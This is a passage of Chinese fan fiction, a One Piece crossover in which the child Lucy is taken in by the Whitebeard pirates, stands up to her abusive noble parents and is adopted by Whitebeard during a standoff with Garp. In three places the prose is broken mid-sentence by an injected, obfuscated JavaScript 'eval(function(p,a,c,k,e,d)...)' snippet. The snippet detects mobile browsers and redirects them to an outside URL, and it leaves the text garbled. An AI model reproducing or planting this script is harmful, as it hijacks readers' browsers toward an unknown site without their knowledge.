马尔科那些呼之欲出的劝说卡在嘴边。 他紧了紧拳头,沉默了大概有三秒,还是决定快刀斩乱麻。 “露西,我们到岛屿了。” “岛屿?”露西松开他的手向船边跑去,船员们连忙给她让出一条小路,抱着她挂在舷墙上,又怕她摔下去,围在孩子身后时刻准备拉住。 露西趴在舷墙上,看见雾后若隐若现的小岛。绿色顺着阳光苏醒,岛上传来居民们忙碌的声音。她激动地回头:“我们要去岛上玩吗?!” 众人欲言又止。 “对,我们要去岛上。”马尔科问她,“露西,你有什么想要的?我买给你yoi。” “想要的?” 露西看着马尔科,孩子深深地皱眉。 露西想要的…… 忽然,眼前浮现出从未出现过的画面,她的意识仿佛被抛进另一个维度,世界如画卷般展开—— 跳板上惊起土尘,岸边的浮标往水里冒了冒。她站在旗子下听着风声,一个老人推着车吆喝从面前走过,马尔科拉了她一把。她闻到烤饼的香味,又被谁家门口的风铃声吸引注意。 沿着人群熙攘的街道直走,第二个路口右拐,角落的竹筛上卧着一只黄白相间的猫。从漏斗的巷子里走出去,戴着蓝色帽子的男人拉着自己的妻子走出面包房,右转。 舞蛇人吹着笛子,矮脚行商将地图挂在牛背上。一只乌鸦落在棕色的地摊布上啄,老板起身驱赶,另一只乌鸦趁机叼着亮闪闪的宝石飞走。老板骂了两句,旁边摊子的小胡子男人将他的旗子偷偷换掉,转身往椅子走去。 镜头拉近,桌子上,一把金色的钥匙在阳光下反射出微光。 【水瓶座之匙】 露西脑中莫名闪过这个词。 意识被扔出画面,她猛地回神,朝马尔科重重点头。 “有!” 船员们将贝利放在马尔科手里,袋子一个接一个垒起,嘱托一个比一个离谱,马尔科浑身一阵鸡皮,随便拿了一个冲下船。 露西从跳板跑上岸,浮标激动地沉进水里。她站在那面红色的旗子下抬头,听见呼呼作响的风声。 “小心点yoi。”马尔科将看得入迷的孩子拉回来,对着推车的老人说了声抱歉,老人喊着烧饼走远了。 叮铃铃。 报童拉开门跑出来,门上的风铃被撞出脆响。 “马尔科,我们往前走!”露西朝着满是人的街道冲过去,一,二,右拐,竹筛上的橘猫打了个呵欠,翻身用茶叶磨了磨背。 “哇!”露西发出惊喜的叫声。 和露西刚刚看到的一样! 这么说…… 她想到那把钥匙,眼睛噌地亮了,拔腿就往巷子外跑。 蓝帽子,蓝帽子。 露西站在巷子口左顾右盼。 “你在找什么呢?”马尔科懒洋洋地问她。 露西没有回答,踮着脚从人群的缝隙里寻找记忆中那个身影。 “下次还来这家店吧。” “好啊… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005785|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 一对夫妻从米色的砖房里走出来,男人戴着深蓝色的小圆帽,挽起夫人的手朝右走去。 “小蓝帽!”露西尖叫一声冲了过去。 “喂露西!” 她哒哒哒地跑过石板路,在舞蛇人的摊子前停下,点头,又继续向前,找到那个被牛嚼衣服的矮脚商人。 “小妹妹,地图要吗?五百贝利哦!” “我的宝石!” 一只乌鸦从旁边飞过,老板提着竿子冲出去,旗子旁伸出来一只手,瞬间将他的旗子换掉。 露西闻声走了过去。 小胡子摸着自己的胡子得意洋洋地转身,听到背后传来脚步。 “哟,小客人需要什么呀?本店的货物上天入地应有尽有。” 露西的目光落在那堆积了灰的首饰上,一点金光露出来,她伸手,仿佛命运指引一般拿起钥匙。 那一刻,熟悉而陌生的感觉流遍全身。 水瓶座的图案变成了阿葵亚。 漫天炮火带着浓烟和火星落下,披着蓝色火焰的大鸟从莫比迪克号的船头冲向硝烟,与一个老人的铁拳撞上。大鸟翻飞出去,在空中转身滑翔,蓝色的翅膀好像流动的画卷。 “咦?这个钥匙——”小胡子看着孩子手里的金钥匙,有些不确定地摸了摸胡子,“是我这的吗?我怎么从来没见过……” 马尔科站在露西身后,见她抓着钥匙不放,开口问:“你要这个?” 钥匙闪烁的光芒褪去,露西从刚才的幻象中回过神,点头。 小胡子抬头,一眼瞧出这是个会付钱的,眼珠滴溜一转,搓着手陪笑:“好眼光,好眼光,这把钥匙那可是来历不凡,想当年……” “多少钱。” “老板痛快,一万贝利。” 马尔科挑眉:“一万?” “哎呀,这钥匙可不是普通的钥匙,要知道当年……” 马尔科嗤笑,懒得和他讨价,将钱放在桌上。 “老板大气!!”小胡子扑过去将钱袋塞进怀里,直起身将左手的架子拉了过来,“实不相瞒,小店也卖妆容首饰,您看您女儿这一身……” 他打量了一下女孩的穿着,一眼就瞧出来上好的料子。这是贵族用的东西,不过是穿在衣服里面的。 他看了看女孩披散在肩头的金发,又看了看马尔科一身廉价张扬的打扮,闻到他身上的海盐味。 小胡子眨眨眼,识趣地没有探究这个组合的来历。 “——素雅!一看就是贵族,若是配上这个发夹——这可是贵族间最流行的款式,您看看这做工,十八颗顶级钻石!这里是不是有个字?对了,这是一个‘圣’字!什么是圣?那是圣地……” 马尔科听到那个圣字,眉头蹙起。 “她不是我女儿。” 小胡子的笑僵在脸上。 一时间,他脑袋中闪过八百种不可说的猜测,但他是个商人,不管这种事。 “那真是可惜了。” “嗯,加上这个吧yoi。”马尔科随口应了一声,伸手取下角落里一个发圈。 他忽然反应过来自己刚刚默认了什么,一时间愣住。 小胡子瞥了他一眼,心领神会地略过刚才的话题。 “这个发圈是吧?好说,送您了。您的眼光真好,小小姐一定会喜欢这份礼物。” 马尔科握着发圈,莫名觉得有些烫手。 17.我回来了 马尔科低头去看露西,露西已经抬腿朝旁边走去。马尔科伸手将她拉了回来。 “还有其他要买的吗?”他将发圈收进口袋,不太自然地问。 露西拿着钥匙,另一只手牵着马尔科,满眼都是高兴。 “衣服?糖?小孩子应该都喜欢吧?” 露西一跳一跳地走着,将钥匙举给他看,炫耀道:“马尔科,这是阿葵亚的钥匙哦,有了它,露西就能召唤阿葵亚了。” 孩子用力甩了甩,对着空气做出一连串滑动的手势,马尔科看着她幼稚的举动,忍不住叹了口气。 果然是小孩子。 …… “这个孩子是——是我们在另一座岛屿上捡到的。她是东海人,哥亚王国。我们还要送货,不能带着她……如果可以,能请你们把她交给海军吗?” 马尔科对着一户养花的老夫妻说。 夫妻俩看着他,眼中有些存疑,扭头看向和自家孩子玩的露西,眼神一下子柔软下来。 “我们试试。” “那就太好了yoi。”马尔科听到这个答案像是松了口气,声音却一下子变得干涩。他说不出原因,心脏处像是有一块异物堵着。 “这孩子的父母?” “死了。”青年毫不犹豫地回答。 夫妻俩看着露西的目光顿时变得更加怜悯。 “小平,带妹妹玩一会。” 小平停下来点头,被露西从身后抱住。她转过身和露西抱在一起,发现她脑后的发圈松了,帮她重新扎辫子。露西甩甩头挣脱开,走到青年身边,很自然地拽他的裤脚。 马尔科低头。 露西抓着他向小平告状:“发圈在他口袋里!” 马尔科的心被一只小鸟啄了一下。 他紧了紧拳头,几秒后将发圈拿了出来。他还在迟疑,孩子就像是后脑长了眼睛,金发拍在他的腿上,她跳起来取走了那个发圈。发圈上的毛球颤颤巍巍地抖动,青年一个激灵,仿佛那种轻柔的触感拂过他难以平静的心。 小平给她扎好,露西将自己的发辫对着他:“马尔科,好看吗?” 马尔科回神,扯了扯嘴角:“好看。” 露西扬起灿烂的笑容,扭头和小平玩在一起,两个人朝着大人看不见的热闹地方跑去。马尔科站在原地,直到再也看不见那簇金发,他沉默地抬头对上刺眼的阳光。几秒后,他转身,没有惊动任何人地离开了。 船员们聚在船头附近没什么兴致的聊天。萨奇倚着墙,第一个发现金发青年。他下意识挺直背走过去,抓着船沿,视线从马尔科身上下移,左右横扫一圈。马尔科走上跳板,萨奇的目光随着他一点点移动,终于在落在甲板上后确认他是独自回来的。萨奇叹了口气,从怀里掏出香烟。 他咬着香烟停了几秒,浑身都不得劲,收了回去。 “你真的把她送走了?”哈尔塔还不相信,跳上舷墙张望。 船员们挤到一起,努力伸长脖子朝岛上看,却怎么也看不到那个小小的金发的背影。明明不久前,她还在和他们打招呼。 那句招呼竟成了他们最后一句话。 这群男人的眼眶一下子就湿了。 “马尔科队长,好冷血!” 马尔科恢复了以往懒散中透着锋利的模样,他淡淡道:“胡说什么呢,我们可是海贼啊,已经够仁至义尽的了。” “准备开船吧。” 船员们沉默地起锚,扬帆,转舵,岛屿上的喧嚣就这样被抛在身后。哈尔塔站在瞭望台上不肯下去,直到那个小岛彻底消失在视线里,少年抹了抹眼睛,背对着众人在台子上坐下来。以藏上来,哈尔塔骂了他一句,给以藏挪了个位置。 萨奇收回目光,靠着舷墙听船员们情绪不高的走动声,马尔科见他叼着牙签,提醒他:“萨奇,我们是海贼。” 可是萨奇平静地看了他一会,伸手拍了拍马尔科的肩。 “……” 马尔科缩起肩膀,别过头去捏住鼻梁,不再看他。 护士们从船尾走来,还不知道发生了什么,有说有笑地进入餐厅。萨奇看着她们,想到罗莎娜等人对露西这段时间的照顾。 “罗莎娜她,肯定会很伤心吧。她把露西当成妹妹来看的。” 海风吹起不死鸟的羽毛,他没有答话。 “……吃饭吧!”萨奇最先起身,打破这片难受的寂静。 “都去吃饭,去喝酒!喝一顿就好了!” 面包头的青年急切地逃离甲板。 众人拖着沉重的步子拉开餐厅的门,水汽裹着他们,令他们的心都湿透了,苦涩了。 “然后呢?那个牛真的会吐出地图?” “是的!露西亲眼看到的!” “太恶心了,那种东西我可不要买!” “牛不是有四个胃嘛,说不定其他三个胃里也放着地图……” “住嘴啊安娜,别描述——” 男人们的动作僵住了。 露西穿着那条白裙子坐在护士们中间,一群人有说有笑地喂她吃小蛋糕。 “……” “露、露西——?!!!” 马尔科拨开人挤进来,一脸震惊:“你怎么在这?!” 露西看到他,招了招手,露出一个苦恼的表情:“我和小平玩了一会,马尔科就走丢了。没办法,我只能先回来。” 女孩托着下巴重重叹气。 “露西!”船员们冲过去抱住她,护士们连忙起身避让,这群五大三粗的男人一把鼻涕一把泪,将女孩差点按倒在吧台边。 “呜呜,太好了,露西回来了~” “我就知道她不会抛下我们的,小露西最喜欢我了!” “你放屁!她最喜欢的是我……” 萨奇嘴里的牙签掉在地上,他夸张地张嘴,瞳孔颤抖。 三秒后,这个一向抵制任何非必要聚会的男人激动得满脸通红,破天荒宣布:“大家!开宴会了!!” “哦哦哦——” 兴奋的船员猿猴般嚎叫着冲进餐厅,将酒桶一扫而空。他们不顾四番队的阻止,撬开冰箱,拖着人和肉往甲板跑去。四番队的队员摔了一跤,爬起来去追,剩下的船员将烧烤架和护士们一起搬了出去。 哈尔塔和以藏往船尾跑去,一路高喊老爹。 船帆被收起,他们聚在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我找到阿葵亚了。” 不知道为什么,马尔科的心漏跳了一拍。 露西露出一种骄傲的表情,转身去和队长们炫耀她的钥匙。马尔科伸手去摸露西的头,只摸到一把柔顺的发丝从指缝里滑走,就像那朵白花,飘过火光落在不死鸟的背上,被他带回了野蛮生长的土地。 以藏走到他身边,暖黄色的火光在他的眼中投下一片平静温柔的光影。青年看着那个站在箱子上得意地抬起下巴,高举钥匙的女孩,听着船员们配合的欢呼声,轻笑了一下。 “还打算把她送走吗?” 马尔科看着女孩笨拙又努力地和每一个人解释钥匙的来历,不自觉咧开嘴笑了。笑完后,他意识到自己的动作,垂下眼帘,握紧手中的酒杯。 “……你们都傻了吗,她是有父母的啊yoi。” “我们这群海贼,有什么理由把她留下。” 18.call me by your name 以藏看了他一会,扭头正视前方。就在马尔科以为他赞同自己的时候,以藏开口了。 “马尔科,知道她父母是什么样的人后,你还要用这种借口?” 他挑了挑眉,觉得好笑:“想留下她就留下,这样犹豫?我们是海贼啊。” “海贼看上的东西,无论什么方式都会抢到手。” 他甩了甩燧发枪,艳丽的眉眼间透露出一种锋利的骄傲,笑着迈步走向人群。 “同为队长,我就不让你了。” 马尔科震惊地坐在原地。 “咕啦啦啦——” 发愣的马尔科回过神,幽幽地叹气:“老爹,别笑话我了。” 白胡子从座位上站起,提着刀朝船头走去:“马尔科哟,以藏说得对,我们始终是海贼。别让海军那套优柔的愚蠢影响到你。” “连您也这么说……”马尔科有些无奈地摸了摸头,“看来我真是——” 他的话突然断开,一脸严肃地起身望向白胡子面朝的方向。 “……” 青年眯起眼,当即跳上高处:“都别吃了,拿武器!” “四番队收拾平台,其他人,准备迎敌!” 马尔科盯着海平面那一端,眼睛中闪烁着警惕。 “海军来了。” . “快,都把东西收起来!罗莎娜,你们去医疗室躲起来。” 萨奇招呼着四番队收拾残局,其他番队的队员跨过那些食物和酒水,拿起自己的武器按队排开。布拉曼克吹响号角,炮手就位,舵手就位,控制员返回控制室,十二番队张开船帆,前排近战人员已经立上船头平台,拔刀。 海雾中传来海面被破开的声响。 “哈哈哈,纽盖特,好久不见啊!” 洪亮的声音穿透迷雾,队长们听出声音主人的身份,瞬间握紧武器,甲板上气氛顿时一凝。 白胡子握着刀看向那个站在军舰船头的老人,不太在意地笑了笑。 “卡普。” 海军本部中将,海军英雄,“铁拳”——蒙奇·D·卡普。 卡普站在船头,蓝色的眼睛下,一条弯月伤疤贯穿整块左眼部。他披着海军的披风,无所谓地挖着鼻子,好像自己只不过是带着海军路过。可是双方船员全都神经紧绷,冷汗从鬓角流下滑进衣领。他们的刀在太阳下反射出夺目的银光,海面上的浪微微晃动,海鸟尖叫着避开这片海域,空气中的时间在这一刻凝滞了。 白胡子问:“卡普,你来做什么?” “嗯?”卡普一脸平静,像是随口一提,“老夫可是中将,既然遇到了,当然有义务将你们这些海贼捉回去。” 他说的轻描淡写,可白胡子海贼团的众人闻言,屏气紧了紧刀。 “咕啦啦啦。”白胡子大笑,“战国那老家伙是糊涂了吗,一艘军舰就想将我带回马林梵多?” 卡普看了看手指,淡淡道:“嘛,毕竟老夫在执行任务,带不了那么多人。” “话说回来——纽盖特,你们白胡子海贼团没做什么不该做的事吧?比如放火,绑架,拐卖儿童之类的。” “我的船员不碰这些东西。” “啊是吗。”卡普弹开鼻屎,“那就好。” “喂博加特,走了!”他回头喊了一声副官的名字。 “等等啊中将先生!!” 突然,两个身影从海军后冲出来,一把拉住他,“你不是说要帮我们找孩子的吗!有人看到了,就是这些海贼袭击了因卡特岛!” 正是奥特卢克夫妇。 卡普皱眉看着他们,露出一种不太愿意又相当为难的表情:“老夫是说过……但纽盖特这老小子也说了,不是他们干的。” “你就这样相信海贼吗?他们可是海贼啊!”两人撞开海军快步扑到船头,视线从白胡子的船员们身上扫过,眼睛一亮。 马尔科看着他们的动作,突然眼皮一跳,不好的预感涌上心头。 “露西!” 伴随着一声尖利的呼唤,海军和海贼同时望向迪迪特夫人手指的方向。 露西站在人群中央,茫然地眨了眨眼。 “没错!那就是我们的女儿!”奥特卢克三世抓住卡普的衣服,被博加特不留痕迹地挡开。 “我说什么来着!中将先生,你好好看清楚!那是我们的女儿露西啊!她被这些海贼挟持了!” “搞什么?他们是露西的父母?”哈尔塔难以置信地低声骂了一句,“怎么还活着……” 以藏朝他嘘了一声,示意他闭嘴,尽管船上所有海贼都是这个想法。 “露西,妈妈终于找到你了,快到妈妈这来!”迪迪特夫人露出一种慈爱的期待,急切地朝着女孩的方向张开双手。 露西看了她一眼。她的心中没有升起思念,也没有重逢的喜悦。相反的,一种无形的压迫和惶恐宛如大手攥住她的心脏。她的大脑一片空白,好像听见迪迪特夫人声音的那一刻起,对方的面容就和记忆中那个拿着教鞭,在阴影下转身,扬起红唇的女人重叠。 露西下意识抬头看向队长们的方向。 不是说,即使是海军,在“老爹”的地盘,也要守他的规矩吗? 露西,不能留下来吗? “露西!” 孩子吓了一跳。 “过来。”迪迪特夫人的声音带上几分威胁。 “露西,不用怕。”以藏的声音从旁边传来。他们没有靠近,依然站在原位,但露西听着他的嗓音抬头,又看见白胡子站在前面的巍峨如山的背影,她的心脏莫名地平静下来。 露西往旁边那个五大三粗,黑发卷曲的海贼身后退了一步。对方顿了一下,将她挡住。 “露西你在干什么!”迪迪特夫人尖叫出声,“你是贵族的女儿啊,怎么能和这种……下三滥的人混在一起?!快过来!” “你骂谁呢?谁是下三滥?!”哈尔塔当即和她吵了起来。 萨奇吐槽:“她这样说也没错啊,我们可是海贼。” “萨奇你是哪边的?” 迪迪特夫人没有理那个少年,她的眼中只有自己叛逆的女儿。她盯着露西,孩子迟迟没有动作令她不容挑战的权威受到冒犯,她的目光像是要将孩子吃掉,声音冷得像冰:“露西,我数到三,不要惹妈妈生气。” 熟悉的口吻,露西抖了一下。教鞭的幻痛落在她的掌心和小臂,她的心脏不听话地乱撞,血液在逆流。耳膜鼓动的声响令她头晕,身前那个海贼扭头看了她一眼。 “贼哈哈哈,你在害怕吗?”他笑起来。 很奇妙的,听着这句话,露西渐渐镇定下来。 她抿着嘴从海贼身后走出来一步,心跳声在耳朵里轰鸣,她的手脚发软,看着前方的视线几乎溃散。她的心里生出一种愧疚和恐惧,又被更大的愤怒与自由咆哮着压住。 “不。” 世界突然陷入寂静。 一切声音都消失了,海军,海贼,海浪,露西听不见自己的心跳声,整片空间变成一片停滞的白色。 说出那个字后,她的声音不再抖了。 “我不会回去的。” “我已经找到星灵了,我要和星灵在一起。” “星、灵?你还在做不切实际的梦吗?!”奥特卢克三世额角爆出青筋,径直看向自己的女儿,“你要做的是淑女,你是要嫁给王子的!你现在和这种人混在一起——” 他扫过白胡子海贼团的众人,邋遢的装扮,染血的刀柄,粗笨的男人们。 “你让我们的脸往哪里搁!” 迪迪特夫人摇头,毫不掩饰自己的失望:“露西你太自私了,你都不考虑我们家族的颜面吗?我们是哥亚王国的贵族啊,你现在过来,我不会重罚你,否则,你知道的。” 颜面,颜面,颜面。 露西怔怔地看着母亲。 一秒,两秒。 她抓着那个海贼的衣角哭了。 眼泪一颗颗流下来,小声地被她吞进肚子里。 有什么东西在这一刻彻底破碎了,回不去了。 黑发的海贼粗声粗气地笑了起来:“别开玩笑了。脸面?梦想,是不会为了这种东西让步的。” “说得好。”萨奇点头,“我想起来了,露西身上的伤是你们干的吧。” 不仅打孩子,还长期让她挨饿,差点对孩子身体造成不可逆的伤害。露西那些奇怪的思想也是被他们灌输的。 露西周围的海贼们笨拙地蹲下来安慰她,试图用鬼脸逗孩子笑。他们掏出自己腰间的布想给露西擦脸,尴尬地发现上面沾着各种奇怪液体,被同伴揍着收回腰间。孩子哭得咳嗽起来,几个海贼连忙熟练地给她拍背,甚至不敢用上整只手掌。 卡普看着海贼们熟练地哄孩子,扭过头,真不是故意问:“你们确定她是你们的女儿吗?老夫看她和白胡子的儿子们更亲啊。” 奥特卢克三世神色冷淡,眼神里夹杂着一丝恼怒:“迪迪特,这就是你的女儿?你之前教她的礼仪呢!” 迪迪特夫人的脸因羞耻发红,她咬着牙低声道:“她又忘了,果然,那孩子一天不训练就不会记得!” 卡普懒得听他们说话,无聊地看着海面发呆,将鼻屎弹在舷墙上。 “何等粗俗!”迪迪特夫人看着他的举动尖叫。 卡普一点也不在意,掏了掏耳朵冲着对面喊了一声:“喂,老夫记得你叫——马尔科是吧,白胡子的儿子哟,那个小孩是你们的孩子吗?不是就交过来,海军会抚养她的。” 交过来? 马尔科挑了挑眉。 在知道露西的亲生父母后将孩子交过去——虽然他的确用过这个借口,但事到如今,他不想用了。无论是作为海贼还是马尔科,他不会把露西交给这种家伙的。 “卡普中将,把人交给你,不是坐实了白胡子海贼团绑架的名声吗yoi,那样,我们还怎么在海上混?” “哈哈哈,说的有理啊。”卡普大笑起来。 他笑够了,脸色恢复平静,爽朗道: “那就只能开战了吧。” 伴随着这句话,卡普踏着甲板跃起,带着武装色霸气的一拳砸向白胡子。白胡子笑着挥刀,眼中尽显战意。他横劈一刀,右手在空中重重一砸,空间发生扭曲,海浪翻滚,莫比迪克号被推向军舰,海贼们毫无畏惧地一拥而上。 “出击!”博加特拔剑,海军们端着枪迎了上去,双方势力瞬间交织在一起,两艘船猛烈地摩擦。 奥特卢克夫妇被这突然的动静吓得抱头鼠窜,猫着腰冲向军舰后方。 “露西,去找罗莎娜!”萨奇将孩子带到甲板后方,将她推进尾楼楼梯。 布拉曼克从自己的口袋里拿出木槌,他登上船头,抡起木槌横扫一片海军。博加特一剑刺向男人,布拉曼克反身挡住,还是被对方的剑气砍伤,倒退数步。 博加特侧身走了两步:“怎么,比斯塔不在,白胡子船上就没有能用剑的人了?” 下一秒,他目光一凌,挥手,刺耳的摩擦声响起,哈尔塔从人群里窜出,一个呼吸,数十道剑光劈向博加特,博加特一一拦截,侧身,长剑与长剑横擦而过,彼此看见彼此凶狠的眼神。 “哈尔塔。”博加特后退一步站稳,“我记得你的剑术以敏捷灵巧著称,也就是力量不足。” “打你够了!”哈尔塔横剑迎敌,“谁让你把脚踏到老爹船上来的!” “你对白胡子的维护也很出名啊,明明是白胡子先将船开过来撞——” 砰。 博加特一个踉跄扑在缆绳上。 青年大怒:“卡普中将!” “啊抱歉抱歉。”卡普不太在意地挥了挥手,“不过博加特,你干嘛要往老夫的炮弹上撞。” “是我撞的吗?” “哼,没长眼怪——”哈尔塔正在嘲笑,白胡子震震果实发力,他被倒飞的木桶击中翻了几个跟头扑到平台上,被马尔科一脚踹回去。 “哈尔塔,当心点yoi!”青年提醒。 哈尔塔爬起来抹了抹鼻子:“怪我吗!” 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……”甲板上的众人可疑地沉默了。 啊…那个好像是…马尔科来着…… “萨奇你看到了吗?阿葵亚是不是和露西说的一样,她好漂亮的!”露西推开萨奇想要抱她的手,高兴地指着不死鸟问青年。 萨奇支吾了一下,看着在军舰上空徘徊的马尔科,表情像吃了苍蝇一样难受。 “萨奇~”没得到回应的女孩摇晃着他的衣角撒娇。 萨奇狠狠心,一咬牙,在被马尔科揍和满足露西心愿之间选择了嘲笑马尔科:“没错,阿葵亚真是太漂亮了,和露西说的一样。天哪,怎么会有这么漂亮的星灵呢?” “噗。” 哈尔塔抿着嘴扭过头,忍了几秒,肩膀微微抖动,大笑出声。 以藏躲开海军的刀,抬手一枪。青年扭头怒吼:“哈尔塔别笑了!你以为他听不到吗?!!” 得到肯定的露西表情一点点绽开了。 阿葵亚被承认,就像她被承认一样令她高兴。 “露西!”奥特卢克三世被摇晃的军舰冲出房门摔到舷墙上,他和夫人扒着舷墙站起,听见女儿那些话,再一次提高嗓门。 “你真的不过来吗?” 露西停顿了一下。几秒后,女孩转过身,炮火与海浪将他们分割在命运两边。 “露西和阿葵亚会永远在一起。”她坚定而平静地告诉他们。 “星灵是家人,我不会放弃我的星灵,绝不。” 那一刻,她的身影似乎和那个金发的少女重合了。 迪迪特夫人发出一声想要晕倒的尖叫。奥特卢克三世没有管她,他看着这个女儿,漆黑的眼睛被冷漠逐渐占据。 “那你就不再是奥特卢克家的女儿!” 甲板上的海军与海贼仍在打斗,厮杀声与兵刃摩擦的声音尖锐地磨损着耳蜗,因此这句话只传进队长与白胡子耳中。哈尔塔愣了一下,转而爆发出早该如此的笑容。 博加特撑着剑回头:“奥特卢克先生,这种事情要慎重啊。” “身为奥特卢克的女儿和海贼混在一起,我们丢的脸还不够多吗!” “我一回去就将你从家族除名,你永远都不再享有贵族的特权。走出去后,也不许你对别人说你是我的女儿,免得……丢我的脸!”奥特卢克三世双眼充血,激动地脖子都红了。 迪迪特夫人爬了起来,她恨铁不成钢地看着自己辛苦养大的女儿,说不出是失望还是怨恨:“露西,等你知道下等人过的是什么生活,就算你求饶,我们也不会让你回来的!” 她看起来像一头发狂的鬣狗,嘴巴一张一合。露西盯着她的嘴,熟悉的嗓音在这一刻变得十分陌生。 难道他们还认为露西想要回去吗? 为什么他们从来就不知道露西想要什么? 母亲后面说了什么露西没有听见,因为哈尔塔冲过去开始骂人。 萨奇捂住她的耳朵,她只能看到少年骂骂咧咧的侧影。父母似乎被吓到了,脸色发白地后退,萨奇拉着她退了两步,她这才发现船头的交战不知何时已经停了。 那个穿着披风两鬓花白的海军率先跳回他的船上,他走之前看了露西一眼,笑着说了什么话,露西也没有听见。 但是他的笑容很爽朗,他的眼神很干净,露西想,那一定是一句温柔的话。 白胡子握着刀站在她身前,马尔科不知道从哪里冒出来的,也挡在她的前面。她悄悄扭头,惊讶地发现自己身边竟然站着这么多人。 白胡子声音很大,海浪钻进耳朵,萨奇松开了捂住她的手。 一只相当大的,宽厚、布满老茧的手提起她放在船头,露西听到那个比太阳还要耀眼的男人对着海军和整片大海宣布: “好啊,从今天起,她就是我的女儿了。” 眼泪毫无征兆地滚了下来,露西看着白胡子,将那个刺得自己满头血的王冠摘下来扔掉。她从荆棘的王座上跑下来,一路跑向大海。 19.阿葵亚不等于马尔科 也许是白胡子这番话过于震撼、过于大胆,军舰上,奥特卢克夫妇很久没有说话。他们瞪着眼睛,难以置信地看向自己抛弃的女儿。 震惊过后,迪迪特夫人心里生出一种被比下去的耻辱感。 居然有人能看上她? 这种没长大的小孩——她看着露西周围黑压压一片的海贼,无名之火烧断了她的神经。 她被自己的女儿比下去了?! 可是她转念一想,那些家伙不过是海贼。露西就算和他们在一起,也永远得不到自己这样的地位和尊贵。于是,隐秘的快感压过那丝恼怒,她看向女孩的神情重新变得轻蔑。 “你就和他们待在一起吧,露西,妈妈最后给你一个忠告。”她叹了口气,居高临下地怜悯,“不要相信海贼。他们什么都给不了你。等他们玩腻了,会把你毫不留情地抛在一边。到那时你就会发现,你在今天放弃过去所拥有的奥特卢克家族的一切是一个多么愚蠢的行为!” “别和她废话了,让她当海贼去吧。”奥特卢克三世厌烦地呵责,“等你的头颅被海军砍下,我们会通过报纸知道的。你别指望我们去收尸——” 砰! 一颗无名的子弹击中奥特卢克的肩膀,男人顿时惨叫一声倒在地上。大片鲜红的血从深蓝色的礼服下洇开,胸前的黄色绒花掉在地上。 “啊啊啊爵士!” 迪迪特夫人扑过去跪在地上,她惊慌失措地伸手,想要触碰奥特卢克身上的伤口,又因为看到对方痛到打滚时滴下的血迹而瑟缩。 “天哪,是谁,是谁开的枪?!竟敢对贵族开枪!” 她的瞳孔微微颤动,退了两步跌坐在地,奥特卢克边叫边缩起身体,她的视线向下偏移,猛地一缩,将自己差点染血的裙摆从爵士身下拽出。 做完一系列动作,她有些惊慌地乱瞟,握紧裙摆,扭头对卡普怒吼:“你还愣着干什么,他们竟然对爵士开枪!快杀了他们!” 卡普漫不经心地掏着耳朵,像是才听见动静:“诶?什么?有人开枪?” “你是瞎子吗!是这些海贼开的枪!” “是吗?”卡普皱眉思考,转而大笑,“抱歉抱歉,老夫没看啊。” 迪迪特还想说什么,但卡普已经大手一挥,命令船员返航。 “纽盖特,老夫就先走了。别忘了老夫说的话!” “什么?你这海军是怎么当的?!你——” 博加特一个眼神,船医将奥特卢克三世拉走,迪迪特只能不甘心地提着裙子跟上去。医生们麻利地脱下衣服,剪开内衬,露出血迹斑斑的伤口。迪迪特捂着嘴尖叫,惊得取弹的医生手一哆嗦,差点没有拿稳。他们扭头投去一个愤怒的眼刀。 迪迪特焦急地在房间里来回走动,尽管船医已经警告多次不要发出声音,她充耳不闻。尖锐的嗓音吵得手术中的船医火气直窜天灵,却碍于对方贵族的身份无法开口。 迪迪特夫人得不到船医们的回应,她不满于失去关注,扭头走出医疗室,看见博加特正在和小兵们交代处理事项。她深吸一口气,满腹怨恨终于找到可以宣泄的地方,攥着裙摆毫不客气地走过去。 “你——” 正在和博加特交谈的小兵心头一跳,听见鞋跟在地面上令人心惊的敲击声,他扭头看见迪迪特夫人那张夸张的好像秃鹫一般的脸,倒吸一口气。 “少将保重!” 博加特没好气地用本子拍了他一下,却也没拦着他离开。 “迪迪特夫人。”博加特淡淡道。 迪迪特抬起头看他,上下打量一眼,轻蔑地哼了声。她将手中的扇子扇出啪啪啪的声音,抬起下巴质问:“你们不是海军吗,为什么不给那些海贼一点厉害瞧瞧?为什么不杀了他们?你们这样怠慢贵族,就不怕世界政府怪罪?!” “真是的,我们的钱都用来养了一群什么废物……” 突然,船身猛地摇晃。 话音刚落的迪迪特夫人惊叫一声摔在甲板上。巨大的礼帽与地面撞击,因为沿着脸颊牢牢固定,在迪迪特的脸上擦出两条惊人的血痕。精心打理的发髻乱了,后背像是被整面铁块砸中。她被自己挑选的束腰勒得喘不过气,只能张着嘴低声叫唤。 博加特一脸平静地收回武装色,拉住两个小兵:“把迪迪特夫人送到医疗室。” 他想起什么,特意嘱咐:“告诉船医,这位夫人伤得很重,起码要在床上躺半个月。船到哥亚王国之前她绝对不能下床!记好了!” “明白!”小兵们眼睛一亮,兴高采烈地抬着她,像抬米一样摇摇晃晃地走向医疗室。 “轻一点!没看见我摔了吗啊啊啊——” 博加特搞定了一件大事,转身朝船头走去。卡普拍了拍受损的大炮,尽管小兵们拦在他面前尽力阻止,老人一把将他们提起扔向桅杆,吱嘎,他轻轻松松扛起大炮,后撤一步。 